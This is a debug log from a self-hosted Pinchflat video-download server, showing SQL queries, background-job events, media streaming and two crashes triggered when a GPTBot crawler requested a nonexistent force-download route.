? [5, 0] 16:37:46.021 [debug] QUERY OK source="sources" db=0.0ms idle=1.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 16:37:46.025 [debug] QUERY OK source="media_items" db=3.8ms idle=1.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 16:37:46.029 [debug] QUERY OK source="media_items" db=3.8ms idle=5.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 16:37:46.029 [debug] QUERY OK source="tasks" db=0.0ms idle=9.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:37:46.030 [info] Sent 200 in 12ms 16:37:57.179 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:00.743 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:38:07.697 [info] GET /sources/1/media/5/force_download 16:38:07.697 [debug] QUERY OK source="settings" db=0.1ms idle=1744.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:38:07.698 [debug] QUERY OK source="settings" db=0.0ms idle=1745.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:38:07.698 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:38:07.698 [error] #PID<0.10967.0> running PinchflatWeb.Endpoint (connection #PID<0.10966.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/1/media/5/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/5/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10966.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/5/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 39160}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/5", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10967.0>, params: %{}, path_info: ["sources", "1", "media", "5", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/1/media/5"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/1/media/5/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVHLWndGKW7y5IAA_0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10966.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/5/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 39160}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/5", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/5/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10966.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/5/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 39160}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/5", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10967.0>, params: %{}, path_info: ["sources", "1", "media", "5", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, (truncated) 16:38:14.766 [info] GET /media/dcbf5f18-d2d2-4574-b52c-badc1a56df4c/stream 16:38:14.766 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "dcbf5f18-d2d2-4574-b52c-badc1a56df4c"} Pipelines: [:maybe_basic_auth] 16:38:14.767 [debug] QUERY OK source="media_items" db=0.1ms idle=1813.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dcbf5f18-d2d2-4574-b52c-badc1a56df4c"] 16:38:14.767 [debug] Invalid range request for media item: dcbf5f18-d2d2-4574-b52c-badc1a56df4c - serving full file 16:38:14.767 [info] Sent 200 in 714µs 16:38:15.062 [info] GET /media/dcbf5f18-d2d2-4574-b52c-badc1a56df4c/stream 16:38:15.062 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "dcbf5f18-d2d2-4574-b52c-badc1a56df4c"} Pipelines: [:maybe_basic_auth] 16:38:15.062 [debug] QUERY OK source="media_items" db=0.1ms idle=1109.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dcbf5f18-d2d2-4574-b52c-badc1a56df4c"] 16:38:15.063 [debug] Streaming media item: dcbf5f18-d2d2-4574-b52c-badc1a56df4c from 993953 to 131891169 16:38:15.063 [info] Sent 206 in 750µs 16:38:27.180 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:57.181 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:00.744 [info] {"source":"oban","duration":138,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:39:08.197 [info] GET /sources/1/media/6/force_download 16:39:08.198 [debug] QUERY OK source="settings" db=0.0ms idle=1243.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:39:08.198 [debug] QUERY OK source="settings" db=0.0ms idle=1243.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:39:08.198 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:39:08.198 [error] #PID<0.10978.0> running PinchflatWeb.Endpoint (connection #PID<0.10977.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/1/media/6/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/6/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10977.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/6/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50278}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/6", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10978.0>, params: %{}, path_info: ["sources", "1", "media", "6", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/1/media/6"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/1/media/6/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVHO3_40Iz4qzYAA_5B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10977.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/6/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50278}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/6", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/6/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10977.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/6/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50278}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/6", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10978.0>, params: %{}, path_info: ["sources", "1", "media", "6", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, (truncated) 16:39:27.182 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:38.467 [info] GET / 16:39:38.467 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 16:39:38.467 [debug] QUERY OK source="settings" db=0.1ms idle=1512.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:39:38.467 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1145.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 16:39:38.467 [debug] QUERY OK source="sources" db=0.0ms idle=512.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 16:39:38.471 [debug] QUERY OK source="media_items" db=3.2ms idle=512.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:39:38.471 [debug] QUERY OK source="media_items" db=0.1ms idle=147.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:39:38.471 [debug] QUERY OK source="settings" db=0.0ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:39:38.471 [debug] QUERY OK source="settings" db=0.1ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:39:38.471 [debug] QUERY OK source="settings" db=0.0ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:39:38.472 [debug] QUERY OK source="media_items" db=0.2ms idle=1.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:39:38.473 [debug] QUERY OK source="media_items" db=0.5ms idle=1.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 16:39:38.473 [debug] QUERY OK source="sources" db=0.0ms idle=1.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 16:39:38.475 [debug] QUERY OK source="media_items" db=2.3ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 16:39:38.478 [debug] QUERY OK source="media_items" db=2.3ms idle=4.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 16:39:38.478 [debug] QUERY OK source="tasks" db=0.1ms idle=6.1ms SELECT t0."id", t0."job_id", t0."source_id", 